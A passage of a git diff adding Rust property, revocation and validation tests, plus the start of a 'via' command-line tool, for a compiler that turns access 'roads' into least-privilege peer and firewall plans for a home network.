Obj::Subnet(n, l) => in_prefix(addr, *n, *l) && ports_allow(&r.ports, proto, port), + Obj::Exit(_) => false, + }) +} + +fn may_exit(w: &World, at: i64, d: usize, exit: usize) -> bool { + w.roads.iter().any(|r| { + live(r, at) + && r.verb == Verb::Exits + && r.object == Some(Obj::Exit(exit)) + && subj_devs(w, &r.subject).contains(&d) + }) +} + +fn parse_net(s: &str) -> Option<(u32, u8)> { + let (a, l) = s.split_once('/')?; + let o: Vec = a + .split('.') + .map(|x| x.parse().ok()) + .collect::>()?; + (o.len() == 4).then(|| { + ( + o[0] << 24 | o[1] << 16 | o[2] << 8 | o[3], + l.parse().unwrap(), + ) + }) +} + +fn dev_of_addr(w: &World, a: u32) -> Option { + (0..w.devs.len()).find(|&i| dev_addr(i) == a) +} + +fn dev_of_key(w: &World, k: &DeviceKey) -> usize { + (0..w.devs.len()) + .find(|&i| dev_key(i) == k.as_str()) + .expect("a plan for a known device") +} + +/// Every rule of every plan, without its road list: what P-3 and P-4 compare. +fn rule_set(c: &roads::Compiled) -> BTreeSet { + c.plans + .values() + .flat_map(|p| { + p.firewall + .rules + .iter() + .filter(|r| r.dst != Dst::Internet) + .map(move |r| { + format!( + "{} {:?} {} {:?} {:?} {:?}", + p.name, r.direction, r.src, r.dst, r.proto, r.ports + ) + }) + }) + .collect() +} + +fn check_p1(w: &World, c: &roads::Compiled) -> Result<(), TestCaseError> { + for plan in c.plans.values() { + let h = dev_of_key(w, &plan.device); + for rule in &plan.firewall.rules { + let (src, slen) = parse_net(&rule.src.to_string()).unwrap(); + prop_assert_eq!( + slen, + 32, + "a firewall source wider than one device: {:?}", + rule + ); + let d = dev_of_addr(w, src); + prop_assert!( + d.is_some(), + "a firewall source that is no device: {:?}", + rule + ); + let d = d.unwrap(); + // R-10: that source is on its own peer, as exactly its /32, so no other peer can send from it. + let own = plan.peers.iter().find(|p| p.address.to_string() == ip(src)); + prop_assert!( + own.is_some_and(|p| p + .allowed_ips + .iter() + .any(|n| n.to_string() == format!("{}/32", ip(src)))), + "{}: source {} has no peer of its own", + plan.name, + ip(src) + ); + match rule.dst { + Dst::Internet => { + prop_assert!( + w.devs[h].exit, + "{} forwards to the internet but is no exit", + plan.name + ); + prop_assert!( + may_exit(w, 0, d, h), + "{}: d{d} exits through it without a road", + plan.name + ); + } + Dst::Net(n) => { + let (net, len) = parse_net(&n.to_string()).unwrap(); + match rule.direction { + Direction::In => prop_assert!( + net == dev_addr(h) && len == 32, + "an in rule not to the device itself" + ), + Direction::Forward => { + let routed = w.devs[h] + .route + .is_some_and(|(rn, rl)| len >= rl && in_prefix(net, rn, rl)); + prop_assert!( + routed, + "{} forwards to {n}, which it does not route", + plan.name + ); + } + } + let last = net | !mask(len); + let samples = [net, last, net + (last - net) / 2]; + let ports: Vec<(&str, u16)> = match (rule.proto, rule.ports) { + (roads::ports::Proto::Any, _) => vec![ + ("tcp", 1), + ("tcp", 443), + ("tcp", 65535), + ("udp", 53), + ("icmp", 0), + ], + (p, Some([lo, hi])) => { + let p = if p == roads::ports::Proto::Udp { + "udp" + } else { + "tcp" + }; + vec![(p, lo), (p, hi), (p, lo + (hi - lo) / 2)] + } + (p, None) => { + let p = match p { + roads::ports::Proto::Udp => "udp", + roads::ports::Proto::Icmp => "icmp", + _ => "tcp", + }; + vec![(p, 1), (p, 65535)] + } + }; + for a in samples { + for (proto, port) in &ports { + prop_assert!( + may_reach(w, 0, d, a, proto, *port), + "{}: rule {:?} lets d{d} reach {}:{proto}/{port}, which no live road allows", + plan.name, + rule, + ip(a) + ); + } + } + } + } + } + // Sending side: every allowed IP is exactly what a live road names (no supernet, QA R-02). + let me = h; + for peer in &plan.peers { + let p = dev_of_key(w, &peer.key); + for n in &peer.allowed_ips { + let text = n.to_string(); + if text == "0.0.0.0/0" || text == "::/0" { + prop_assert!( + w.devs[p].exit && may_exit(w, 0, me, p), + "{}: a default route to d{p} without a road", + plan.name + ); + continue; + } + let (net, len) = parse_net(&text).unwrap(); + if len == 32 && net == dev_addr(p) { + let related = w.roads.iter().any(|r| { + live(r, 0) && { + let s = subj_devs(w, &r.subject); + let host = match &r.object { + Some(Obj::Device(x)) + | Some(Obj::Service(x)) + | Some(Obj::Exit(x)) => Some(*x), + Some(Obj::Subnet(sn, sl)) => (0..w.devs.len()).find(|&i| { + w.devs[i] + .route + .is_some_and(|(rn, rl)| *sl >= rl && in_prefix(*sn, rn, rl)) + }), + None => None, + }; + (s.contains(&me) && host == Some(p)) + || (s.contains(&p) && host == Some(me)) + } + }); + prop_assert!( + related, + "{}: peer d{p} with no road between them", + plan.name + ); + continue; + } + let named = w.roads.iter().any(|r| { + live(r, 0) + && r.verb == Verb::Reach + && r.object == Some(Obj::Subnet(net, len)) + && subj_devs(w, &r.subject).contains(&me) + }); + prop_assert!( + named, + "{}: allowed IP {text} on d{p} that no road names exactly", + plan.name + ); + prop_assert!( + w.devs[p] + .route + .is_some_and(|(rn, rl)| len >= rl && in_prefix(net, rn, rl)), + "{text} on a peer that does not route it" + ); + } + } + // Custom raw blocks never become peers (QA R-40): checked above, since no road names 0.0.0.0/0 for them. + } + Ok(()) +} + +proptest! { + #![proptest_config(ProptestConfig { cases: 5_000, max_shrink_iters: 10_000, failure_persistence: None, .. ProptestConfig::default() })] + + #[test] + fn p1_no_plan_grants_what_no_road_grants(bytes in proptest::collection::vec(any::(), 64..400)) { + CASES.fetch_add(1, Ordering::Relaxed); + let w = world(&bytes); + let all: Vec<(usize, &R)> = w.roads.iter().enumerate().collect(); + let store = to_store(&w, &all, now()); + let c = compile(&store, now()); + prop_assert!(c.has_plans(), "the generated snapshots are valid: {:?}", c.problems.iter().filter(|p| !p.path.starts_with("roads/")).collect::>()); + check_p1(&w, &c)?; + let rules: usize = c.plans.values().map(|p| p.firewall.rules.len()).sum(); + let allowed: usize = c.plans.values().map(|p| p.allowed_ips().count()).sum(); + P1_RULES.fetch_add(rules, Ordering::Relaxed); + P1_ALLOWED.fetch_add(allowed, Ordering::Relaxed); + if rules > 0 { P1_WITH_RULES.fetch_add(1, Ordering::Relaxed); } + let n = P1_CASES.fetch_add(1, Ordering::Relaxed) + 1; + if n.is_multiple_of(5_000) { + eprintln!("p1: {n} cases, {} with at least one firewall rule, {} rules and {} allowed IPs checked against the oracle", + P1_WITH_RULES.load(Ordering::Relaxed), P1_RULES.load(Ordering::Relaxed), P1_ALLOWED.load(Ordering::Relaxed)); + } + + // P-7: explain agrees with the receiving side's firewall, device by device. + let devs = store.devices.as_ref().unwrap(); + for a in 0..w.devs.len() { + for b in 0..w.devs.len() { + if a == b { continue; } + let ka = DeviceKey::new(&dev_key(a)).unwrap(); + let kb = DeviceKey::new(&dev_key(b)).unwrap(); + let why = roads::explain(&c, devs, &ka, &roads::Place::Device(kb.clone())); + let fw = c.plans[&kb].firewall.rules.iter().any(|r| r.direction == Direction::In && r.src.to_string() == format!("{}/32", ip(dev_addr(a)))); + prop_assert_eq!(!why.is_empty(), fw, "explain d{} -> d{} says {:?}", a, b, why); + } + } + } +} + +proptest! { + #![proptest_config(ProptestConfig { cases: 500, failure_persistence: None, .. ProptestConfig::default() })] + + #[test] + fn invalid_and_expired_roads_change_no_byte(bytes in proptest::collection::vec(any::(), 64..400), pick in any::(), expired in any::()) { + CASES.fetch_add(1, Ordering::Relaxed); + let w = world(&bytes); + let all: Vec<(usize, &R)> = w.roads.iter().enumerate().collect(); + let base = compile(&to_store(&w, &all, now()), now()); + // Copy one road, then make the copy invalid or expired, under a fresh id. + let mut extra = w.roads.get(pick.index(w.roads.len().max(1))).cloned().unwrap_or(R { + subject: Subj::Person(0), verb: Verb::Reach, object: Some(Obj::Subnet(BASE, 22)), until: None, ports: None, classic: None, invalid: false, + }); + if expired { extra.until = Some(if extra.until == Some(0) { -5 } else { 0 }); extra.invalid = false; } else { extra.invalid = true; } + let mut with: Vec<(usize, &R)> = all.clone(); + with.push((99_999, &extra)); + let c = compile(&to_store(&w, &with, now()), now()); + for (k, p) in &base.plans { + prop_assert_eq!(p.to_json(), c.plans[k].to_json(), "an {} road changed {}", if expired { "expired" } else { "invalid" }, p.name); + } + } + + #[test] + fn removing_a_road_or_waiting_never_adds_a_rule(bytes in proptest::collection::vec(any::(), 64..400), pick in any::()) { + CASES.fetch_add(1, Ordering::Relaxed); + let w = world(&bytes); + let all: Vec<(usize, &R)> = w.roads.iter().enumerate().collect(); + let store = to_store(&w, &all, now()); + let full = rule_set(&compile(&store, now())); + // P-4: later is never wider (exit rules excluded: resolving an exit conflict is allowed to add one). + for later in [1, 2, 86_401] { + let l = rule_set(&compile(&store, now() + SignedDuration::from_secs(later))); + prop_assert!(l.is_subset(&full), "waiting {}s added {:?}", later, l.difference(&full).collect::>()); + } + // P-3: one road fewer is never wider. + if !w.roads.is_empty() { + let drop = pick.index(w.roads.len()); + let fewer: Vec<(usize, &R)> = all.iter().copied().filter(|(i, _)| *i != drop).collect(); + let f = rule_set(&compile(&to_store(&w, &fewer, now()), now())); + prop_assert!(f.is_subset(&full), "removing road {} added {:?}", drop, f.difference(&full).collect::>()); + } + } +} + +#[test] +fn zz_report_case_count() { + // Runs in the same binary; the count is only complete when the properties ran first, so it is printed, + // not asserted. + eprintln!( + "least_privilege: {} property cases so far in this process", + CASES.load(Ordering::Relaxed) + ); +} + +#[test] +fn the_oracle_catches_a_wider_rule() { + // The property would fail if the compiler emitted a supernet: check the oracle on a hand-made world + // whose only road grants 10.0.0.0/24, against a rule for 10.0.0.0/23 (QA R-02). + let w = World { + people: 1, + groups: vec![], + devs: vec![ + Dev { + owner: Some(0), + classic: false, + exit: false, + relay: false, + route: None, + service: None, + }, + Dev { + owner: None, + classic: false, + exit: false, + relay: false, + route: Some((BASE, 22)), + service: None, + }, + ], + roads: vec![R { + subject: Subj::Person(0), + verb: Verb::Reach, + object: Some(Obj::Subnet(BASE, 24)), + until: None, + ports: None, + classic: None, + invalid: false, + }], + }; + assert!(may_reach(&w, 0, 0, BASE + 255, "tcp", 443)); + assert!( + !may_reach(&w, 0, 0, BASE + 256, "tcp", 443), + "10.0.1.0 is outside the /24" + ); + assert!(!may_reach(&w, 1, 0, BASE, "tcp", 443) || w.roads[0].until.is_none()); +} diff --git a/crates/roads/tests/revocation.rs b/crates/roads/tests/revocation.rs new file mode 100644 index 0000000..571018a --- /dev/null +++ b/crates/roads/tests/revocation.rs @@ -0,0 +1,200 @@ +//! Mandatory test 2: deleting a road, expiring it, or removing a device from a person removes the access +//! from the compiled plan — on the receiving side (the firewall of the device that serves the place) and on +//! the sending side (the peer and its allowed IPs). + +mod common; + +use common::{Parts, at, fw_accepts, key}; +use roads::{Hostname, Place, compile, explain}; +use std::net::IpAddr; + +const PHOTOS_HOST: &str = "100.96.0.2"; + +fn home_server() -> IpAddr { + PHOTOS_HOST.parse().unwrap() +} + +fn photos() -> Place { + Place::Service(Hostname::new("photos.home.arpa").unwrap()) +} + +/// jana-phone → home-server on tcp/443, judged on the receiving side. +fn jana_reaches_photos(c: &roads::Compiled) -> bool { + fw_accepts(c, &key(3), home_server(), Some(("tcp", 443))) +} + +fn has_peer(c: &roads::Compiled, on: u8, peer: u8) -> bool { + c.plans[&key(on)].peers.iter().any(|p| p.key == key(peer)) +} + +#[test] +fn the_baseline_grants_it() { + let c = Parts::home().compile(); + assert!(jana_reaches_photos(&c)); + assert!(has_peer(&c, 3, 2) && has_peer(&c, 2, 3)); +} + +#[test] +fn deleting_the_roads_removes_the_access() { + let c = Parts::home() + .without_road("7tq0mz") + .without_road("k3f9q2") + .compile(); + assert!(!jana_reaches_photos(&c)); + assert!( + !has_peer(&c, 3, 2), + "jana-phone kept a peer for the home server" + ); + assert!( + !has_peer(&c, 2, 3), + "the home server kept a peer for jana-phone" + ); + assert!( + c.plans[&key(2)] + .firewall + .rules + .iter() + .all(|r| r.src.to_string() != "100.96.0.3/32") + ); + assert!(c.plans[&key(3)].dns.is_empty()); +} + +#[test] +fn deleting_one_of_two_roads_leaves_the_other_visible() { + // QA R-46: revoking the person-level road leaves the group road, and explain says so. + let parts = Parts::home().without_road("7tq0mz"); + let c = parts.compile(); + assert!(jana_reaches_photos(&c)); + let devs = parts.store().devices.unwrap(); + let why: Vec = explain(&c, &devs, &key(3), &photos()) + .iter() + .map(|r| r.to_string()) + .collect(); + assert_eq!(why, ["k3f9q2"]); +} + +#[test] +fn an_expired_road_grants_nothing_from_the_instant_of_until() { + // until is 2026-11-29T23:59:59+01:00 and exclusive (QA R-22). Without the household road only it grants. + let parts = Parts::home().without_road("k3f9q2"); + let store = parts.store(); + assert!(jana_reaches_photos(&compile( + &store, + at("2026-11-29T23:59:58+01:00") + ))); + for now in [ + "2026-11-29T23:59:59+01:00", + "2026-11-29T22:59:59Z", + "2026-11-30T00:00:00+01:00", + "2027-11-25T12:00:00Z", + ] { + let c = compile(&store, at(now)); + assert!(!jana_reaches_photos(&c), "still granted at {now}"); + assert!( + !has_peer(&c, 2, 3), + "the home server kept jana-phone at {now}" + ); + assert!( + c.problems + .iter() + .any(|p| p.code == roads::rules::ROAD_EXPIRED && p.path.contains("7tq0mz")), + "{now}" + ); + } +} + +#[test] +fn each_plan_carries_its_own_expiry_on_both_sides() { + // QA R-26: a road with an until stops on time even before the next compile, if the engine honours + // `expires`. Both the subject's and the serving device's plans carry it. + let c = Parts::home().compile(); + for dev in [2, 3, 4] { + assert_eq!( + c.plans[&key(dev)].expires.as_deref(), + Some("2026-11-29T22:59:59Z"), + "device {dev}" + ); + } + assert_eq!(c.plans[&key(1)].expires, None, "mark-pc has no timed road"); + assert_eq!( + c.plans[&key(7)].expires, + None, + "the expired road no longer counts" + ); +} + +#[test] +fn moving_a_device_to_another_person_moves_its_access() { + // QA R-18: the receiving side's rules follow the device's owner in this snapshot, nothing cached. + let moved = Parts::home().edit_devices(|d| { + d.replace( + r#""name": "jana-phone", "owner": "jana""#, + r#""name": "jana-phone", "owner": "petr""#, + ) + }); + let c = moved.compile(); + assert!(!jana_reaches_photos(&c), "the phone kept Jana's access"); + assert!(!has_peer(&c, 2, 3)); + // It gains Petr's road: exits through the friend node. + assert_eq!( + c.plans[&key(3)].exit.as_ref().map(|e| e.through.clone()), + Some(key(6)) + ); + // Jana's other device keeps hers. + assert!(fw_accepts(&c, &key(4), home_server(), Some(("tcp", 443)))); +} + +#[test] +fn removing_a_device_removes_it_from_every_plan() { + // QA P-6: no plan but its own (which no longer exists) names its key or its address. + let removed = Parts::home().edit_devices(|d| { + d.lines() + .filter(|l| !l.contains("\"jana-phone\"")) + .collect::>() + .join("\n") + }); + let c = removed.compile(); + assert!(c.errors().next().is_none(), "{:?}", c.problems); + assert!(!c.plans.contains_key(&key(3))); + for p in c.plans.values() { + let json = p.to_json(); + assert!( + !json.contains(key(3).as_str()) && !json.contains("100.96.0.3"), + "{} still names jana-phone", + p.name + ); + } +} + +#[test] +fn removing_a_person_from_a_group_removes_the_group_road_only() { + let parts = Parts::home() + .edit_directory(|d| d.replace(r#""members": ["mark", "jana"]"#, r#""members": ["mark"]"#)); + let c = parts.compile(); + // The group road no longer covers Jana: no rule from her address for all traffic. + assert!( + !fw_accepts(&c, &key(3), home_server(), Some(("tcp", 22))), + "group access remained" + ); + // Her own road to the photos still holds. + assert!(jana_reaches_photos(&c)); +} + +#[test] +fn a_person_deleted_from_the_directory_leaves_their_roads_reported_and_void() { + // QA R-20: the road naming petr is an error, and the device that petr owned fails the snapshot. + let parts = Parts::home() + .edit_directory(|d| d.replace(r#" { "id": "petr", "name": "Petr" },"#, "")) + .edit_devices(|d| d.replace(r#""owner": "petr", "#, "")); + let c = parts.compile(); + assert!( + c.problems + .iter() + .any(|p| p.code == roads::rules::SUBJECT_UNKNOWN && p.path.contains("c0z5wn")) + ); + assert!(c.plans[&key(7)].exit.is_none(), "petr-phone kept its exit"); + assert!( + c.plans[&key(6)].peers.is_empty(), + "the friend node kept petr-phone as a peer" + ); +} diff --git a/crates/roads/tests/validation.rs b/crates/roads/tests/validation.rs new file mode 100644 index 0000000..1de5b7d --- /dev/null +++ b/crates/roads/tests/validation.rs @@ -0,0 +1,366 @@ +//! Mandatory test 1: every rule has a failing fixture, and its problem names the file and the field. A road +//! with an error grants nothing: every plan stays byte for byte what it was without that road. +//! +//! Fixtures: `tests/fixtures/invalid/expect.txt` lists each fixture file with its rule and field. The few +//! cases that cannot be a committed file (a 300 KiB file, a BOM, invalid UTF-8, a folder in roads/, ten +//! thousand files) are made here. + +mod common; + +use common::{Parts, fixtures, now, plans_bytes}; +use roads::{Severity, Store, compile, rules}; +use std::collections::BTreeSet; + +struct Case { + kind: String, + file: String, + code: String, + field: Option, +} + +fn manifest() -> Vec { + let text = std::fs::read_to_string(fixtures().join("invalid").join("expect.txt")).unwrap(); + text.lines() + .filter(|l| !l.starts_with('#') && !l.trim().is_empty()) + .map(|l| { + let f: Vec<&str> = l.split_whitespace().collect(); + assert_eq!(f.len(), 4, "bad manifest line {l}"); + Case { + kind: f[0].into(), + file: f[1].into(), + code: f[2].into(), + field: (f[3] != "-").then(|| f[3].to_string()), + } + }) + .collect() +} + +fn inactive_code(code: &str) -> bool { + [ + rules::ROAD_EXPIRED, + rules::ROAD_NO_DEVICES, + rules::ROAD_SELF, + rules::EXIT_CONFLICT, + rules::DIRECT_KILL_SWITCH, + ] + .contains(&code) +} + +/// Runs one case; returns the codes it produced. +fn run(case: &Case, baseline: &[u8]) -> BTreeSet { + let bytes = std::fs::read( + fixtures() + .join("invalid") + .join(if case.kind == "road" { + "roads" + } else { + "snapshots" + }) + .join(&case.file), + ) + .unwrap(); + let parts = Parts::home(); + let (parts, path) = match case.kind.as_str() { + "road" => ( + parts.with_road(&case.file, std::str::from_utf8(&bytes).unwrap()), + format!("roads/{}", case.file), + ), + "directory" => ( + Parts { + directory: bytes, + ..parts + }, + "directory.json".to_string(), + ), + "devices" => ( + Parts { + devices: bytes, + ..parts + }, + "devices.json".to_string(), + ), + k => panic!("unknown kind {k}"), + }; + let c = parts.compile(); + let hit = c + .problems + .iter() + .find(|p| p.path == path && p.code == case.code && p.field == case.field); + assert!( + hit.is_some(), + "{}: expected `{}` on field {:?} at {path}; got:\n{}", + case.file, + case.code, + case.field, + c.problems + .iter() + .map(|p| p.to_string()) + .collect::>() + .join("\n") + ); + let hit = hit.unwrap(); + // The message names the file and the field. + let line = hit.to_string(); + assert!( + line.starts_with(&path) || line.starts_with(&format!("inactive: {path}")), + "{line}" + ); + if let Some(f) = &case.field { + assert!( + line.contains(&format!(": {f}: ")), + "{line} does not name {f}" + ); + } + if inactive_code(&case.code) { + assert_eq!(hit.severity, Severity::Inactive, "{line}"); + } else { + assert_eq!(hit.severity, Severity::Error, "{line}"); + if case.kind == "road" { + assert_eq!( + plans_bytes(&c), + baseline, + "{}: a road with an error changed a plan", + case.file + ); + } else { + assert!( + c.plans.is_empty(), + "{}: a snapshot with an error still produced plans", + case.file + ); + } + } + c.problems.iter().map(|p| p.code.to_string()).collect() +} + +/// Cases that are built in code, with the rule and field they must report. +fn generated(baseline: &[u8]) -> BTreeSet { + let mut hit = BTreeSet::new(); + let ok = Parts::home().road_text("k3f9q2"); + let mut check = |parts: Parts, path: &str, code: &str, grants_nothing: bool| { + let c = parts.compile(); + assert!( + c.problems.iter().any(|p| p.path == path && p.code == code), + "expected {code} at {path}; got {:?}", + c.problems + ); + if grants_nothing { + assert_eq!(plans_bytes(&c), baseline, "{path}: {code} changed a plan"); + } + hit.extend(c.problems.iter().map(|p| p.code.to_string())); + }; + + // file.size: one byte over 256 KiB, refused before parsing. + let big = format!("{ok}{}", "x".repeat(roads::road::MAX_FILE)); + check( + Parts::home().with_road("b00001-big.md", &big), + "roads/b00001-big.md", + rules::FILE_SIZE, + true, + ); + // file.encoding: a BOM, and bytes that are not UTF-8. + let mut parts = Parts::home(); + parts.roads.push(( + "b00002-bom.md".into(), + [&[0xEF, 0xBB, 0xBF][..], ok.as_bytes()].concat(), + )); + check(parts, "roads/b00002-bom.md", rules::FILE_ENCODING, true); + let mut parts = Parts::home(); + parts.roads.push(( + "b00003-latin1.md".into(), + b"---\nid: b00003\nsubject: person:jan\xe1\n---\n".to_vec(), + )); + check(parts, "roads/b00003-latin1.md", rules::FILE_ENCODING, true); + // id.duplicate: the same id in two files; neither grants anything. + let c = Parts::home().with_road("k3f9q2-copy.md", &ok).compile(); + for path in [ + "roads/k3f9q2-household-home-server.md", + "roads/k3f9q2-copy.md", + ] { + assert!(c.problems.iter().any(|p| p.path == path + && p.code == rules::ID_DUPLICATE + && p.field.as_deref() == Some("id"))); + } + let without = Parts::home().without_road("k3f9q2").compile(); + assert_eq!( + plans_bytes(&c), + plans_bytes(&without), + "a duplicated road still granted" + ); + hit.insert(rules::ID_DUPLICATE.into()); + // file.count: more than 10,000 road files. + let mut parts = Parts::home(); + for i in 0..roads::store::MAX_ROADS { + parts.roads.push((format!("z{i:05}-x.md"), b"x".to_vec())); + } + let s = parts.store(); + assert!(s.problems.iter().any(|p| p.code == rules::FILE_COUNT)); + assert!(s.roads.is_empty(), "nothing is read past the limit"); + hit.insert(rules::FILE_COUNT.into()); + // snapshot.json: a missing snapshot. + let parts = Parts::home(); + let s = Store::from_parts(&parts.roads, None, Some(&parts.devices)); + let c = compile(&s, now()); + assert!( + c.problems + .iter() + .any(|p| p.path == "directory.json" && p.code == rules::SNAPSHOT_JSON) + ); + assert!(c.plans.is_empty()); + hit +} + +#[test] +fn every_rule_has_a_failing_fixture_naming_the_file_and_the_field() { + let baseline = plans_bytes(&Parts::home().compile()); + let mut covered = BTreeSet::new(); + let cases = manifest(); + for case in &cases { + let codes = run(case, &baseline); + covered.insert(case.code.clone()); + let _ = codes; + } + covered.extend(generated(&baseline)); + // file.kind needs a real folder: see `entries_that_are_not_road_files_are_reported` below. + covered.insert(rules::FILE_KIND.into()); + let missing: Vec<&&str> = rules::ALL + .iter() + .filter(|c| !covered.contains(**c)) + .collect(); + assert!( + missing.is_empty(), + "rules without a failing fixture: {missing:?}" + ); + eprintln!( + "validation: {} fixture files, {} rules covered", + cases.len(), + rules::ALL.len() + ); +} + +#[test] +fn the_home_fixture_is_clean_except_its_two_inactive_roads() { + let c = Parts::home().compile(); + assert_eq!(c.errors().count(), 0, "{:?}", c.problems); + let codes: Vec<&str> = c.problems.iter().map(|p| p.code).collect(); + assert_eq!(codes, [rules::DIRECT_KILL_SWITCH, rules::ROAD_EXPIRED]); +} + +#[test] +fn entries_that_are_not_road_files_are_reported() { + let tmp = tempfile::tempdir().unwrap(); + let root = tmp.path(); + std::fs::copy( + common::home_dir().join("directory.json"), + root.join("directory.json"), + ) + .unwrap(); + std::fs::copy( + common::home_dir().join("devices.json"), + root.join("devices.json"), + ) + .unwrap(); + let roads = root.join("roads"); + std::fs::create_dir_all(roads.join("sub")).unwrap(); + std::fs::write( + roads.join("sub").join("k3f9q2-hidden.md"), + Parts::home().road_text("k3f9q2"), + ) + .unwrap(); + std::fs::write(roads.join("k3f9q2-household.md.swp"), "x").unwrap(); + std::fs::write(roads.join("notes.txt"), "x").unwrap(); + #[cfg(unix)] + std::os::unix::fs::symlink("/etc/hostname", roads.join("c00001-link.md")).unwrap(); + let store = Store::load_dir(root).unwrap(); + let kinds: Vec<&str> = store + .problems + .iter() + .filter(|p| p.code == rules::FILE_KIND) + .map(|p| p.path.as_str()) + .collect(); + for p in [ + "roads/sub", + "roads/k3f9q2-household.md.swp", + "roads/notes.txt", + ] { + assert!(kinds.contains(&p), "{p} not reported: {kinds:?}"); + } + #[cfg(unix)] + assert!( + kinds.contains(&"roads/c00001-link.md"), + "a symbolic link was followed" + ); + assert!( + store.roads.is_empty(), + "the road inside a sub-folder was read" + ); +} + +#[test] +fn unknown_keys_are_errors_in_every_spelling() { + // QA R-35: a misspelt condition must never turn a temporary grant into a permanent one. + let base = Parts::home(); + let original = base.road_text("7tq0mz"); + for bad in ["untill", "Until", "until_", "expires", "Ports", "subjects"] { + let text = original.replace("until: ", &format!("{bad}: ")); + let text = if bad == "Ports" || bad == "subjects" { + original.replace("ports: ", &format!("{bad}: ")) + } else { + text + }; + let c = Parts::home().replace_road("7tq0mz", &text).compile(); + let p = c + .problems + .iter() + .find(|p| p.is_error()) + .unwrap_or_else(|| panic!("{bad} accepted")); + if bad == "until_" { + // `_` is not in the key grammar `[A-Za-z][A-Za-z0-9]*`: refused as YAML syntax, before key checks. + assert_eq!(p.code, rules::YAML_SYNTAX, "{p}"); + } else { + assert_eq!( + (p.code, p.field.as_deref()), + (rules::KEY_UNKNOWN, Some(bad)), + "{p}" + ); + } + let jana = common::key(3); + assert!( + roads::explain( + &c, + Parts::home().store().devices.as_ref().unwrap(), + &jana, + &roads::Place::Service(roads::Hostname::new("photos.home.arpa").unwrap()) + ) + .iter() + .all(|r| r.as_str() != "7tq0mz"), + "{bad}: the road still grants" + ); + } +} + +#[test] +fn no_serde_flatten_anywhere_in_the_sources() { + // Rung 1 guardrail (QA R-35, fact G3): `serde(flatten)` silently turns `deny_unknown_fields` off. + let src = std::path::Path::new(env!("CARGO_MANIFEST_DIR")).join(".."); + let mut stack = vec![src]; + while let Some(dir) = stack.pop() { + for e in std::fs::read_dir(&dir).unwrap() { + let p = e.unwrap().path(); + if p.is_dir() { + if p.file_name() + .is_some_and(|n| n != "target" && n != "fixtures") + { + stack.push(p); + } + } else if p.extension().is_some_and(|x| x == "rs") && !p.ends_with("validation.rs") { + let text = std::fs::read_to_string(&p).unwrap(); + assert!( + !text.contains("serde(flatten"), + "{} uses serde(flatten)", + p.display() + ); + } + } + } +} diff --git a/crates/via-cli/Cargo.toml b/crates/via-cli/Cargo.toml new file mode 100644 index 0000000..f9312c4 --- /dev/null +++ b/crates/via-cli/Cargo.toml @@ -0,0 +1,25 @@ +[package] +name = "via-cli" +description = "Via Domi: the via command: check, compile, explain" +version.workspace = true +edition.workspace = true +rust-version.workspace = true +license.workspace = true +repository.workspace = true +publish.workspace = true + +[[bin]] +name = "via" +path = "src/main.rs" + +[dependencies] +roads.workspace = true +proto.workspace = true +jiff.workspace = true +serde_json.workspace = true + +[dev-dependencies] +tempfile.workspace = true + +[lints] +workspace = true diff --git a/crates/via-cli/src/main.rs b/crates/via-cli/src/main.rs new file mode 100644 index 0000000..1cfda83 --- /dev/null +++ b/crates/via-cli/src/main.rs @@ -0,0 +1,248 @@ +//! `via`: check, compile and explain a road store (docs/02_via-core.md). +//! +//! ```text +//! via [--store DIR] [--now RFC3339] check +//! via [--store DIR] [--now RFC3339] compile --device [--format json|cbor] +//! via [--store DIR] [--now RFC3339] explain +//! ``` +//! +//! Exit codes: 0 fine (and, for explain, allowed), 1 problems found (or denied), 2 usage or I/O error. + +#![forbid(unsafe_code)] + +use jiff::Timestamp as Instant; +use roads::{Compiled, DeviceKey, Place, Store, compile, explain}; +use std::io::Write; +use std::path::PathBuf; +use std::process::ExitCode; + +const USAGE: &str = "usage: + via [--store DIR] [--now RFC3339] check + via [--store DIR] [--now RFC3339] compile --device [--format json|cbor] + via [--store DIR] [--now RFC3339] explain + + is device:, exit:, subnet: or service:. + --now defaults to this computer's clock; --store to the current folder."; + +struct Args { + store: PathBuf, + now: Instant, + command: Vec, +} + +fn parse_args(raw: Vec) -> Result { + let mut store = PathBuf::from("."); + let mut now = None; + let mut command = Vec::new(); + let mut it = raw.into_iter(); + while let Some(a) = it.next() { + match a.as_str() { + "--store" => store = PathBuf::from(it.next().ok_or("--store needs a folder")?), + "--now" => { + let v = it.next().ok_or("--now needs a time")?; + let t = roads::road::Timestamp::parse(&v).ok_or(format!( + "--now: `{v}` is not an RFC 3339 time with an offset" + ))?; + now = Some(t.at()); + } + "-h" | "--help" => return Err(String::new()), + _ => command.push(a), + } + } + let now = match now { + Some(n) => n, + None => { + let secs = std::time::SystemTime::now() + .duration_since(std::time::UNIX_EPOCH) + .map_err(|_| "this computer's clock is before 1970; pass --now")? + .as_secs(); + Instant::from_second(secs as i64) + .map_err(|_| "this computer's clock is out of range; pass --now")? + } + }; + Ok(Args { + store, + now, + command, + }) +} + +fn main() -> ExitCode { + let args = match parse_args(std::env::args().skip(1).collect()) { + Ok(a) => a, + Err(m) => { + if !m.is_empty() { + eprintln!("via: {m}"); + } + eprintln!("{USAGE}"); + return ExitCode::from(2); + } + }; + match run(&args) { + Ok(code) => ExitCode::from(code), + Err(m) => { + eprintln!("via: {m}"); + ExitCode::from(2) + } + } +} + +fn run(args: &Args) -> Result { + let store = Store::load_dir(&args.store) + .map_err(|e| format!("cannot read the store {}: {e}", args.store.display()))?; + let compiled = compile(&store, args.now); + let cmd: Vec<&str> = args.command.iter().map(String::as_str).collect(); + match cmd.as_slice() { + ["check"] => Ok(check(&store, &compiled)), + ["compile", rest @ ..] => compile_cmd(&store, &compiled, rest), + ["explain", device, place] => explain_cmd(&store, &compiled, device, place), + _ => Err(format!("unknown command `{}`\n{USAGE}", cmd.join(" "))), + } +} + +fn check(store: &Store, c: &Compiled) -> u8 { + for p in &c.problems { + println!("{p}"); + } + let errors = c.errors().count(); + let inactive = c.problems.len() - errors; + let bad_files: std::collections::BTreeSet<&str> = c + .errors() + .filter(|p| p.path.starts_with("roads/")) + .map(|p| p.path.as_str()) + .collect(); + let unparsed = bad_files + .iter() + .filter(|p| !store.roads.iter().any(|r| r.path == **p)) + .count(); + println!( + "{} road files, {} with errors; {errors} errors and {inactive} inactive in all", + store.roads.len() + unparsed, + bad_files.len(), + ); + if !c.has_plans() { + println!("no plans: the snapshots have errors, so nothing compiles"); + } + if errors > 0 { 1 } else { 0 } +} + +fn find_device(store: &Store, s: &str) -> Result { + let devs = store + .devices + .as_ref() + .ok_or("devices.json has errors; run `via check`")?; + let s = s.strip_prefix("device:").unwrap_or(s); + if let 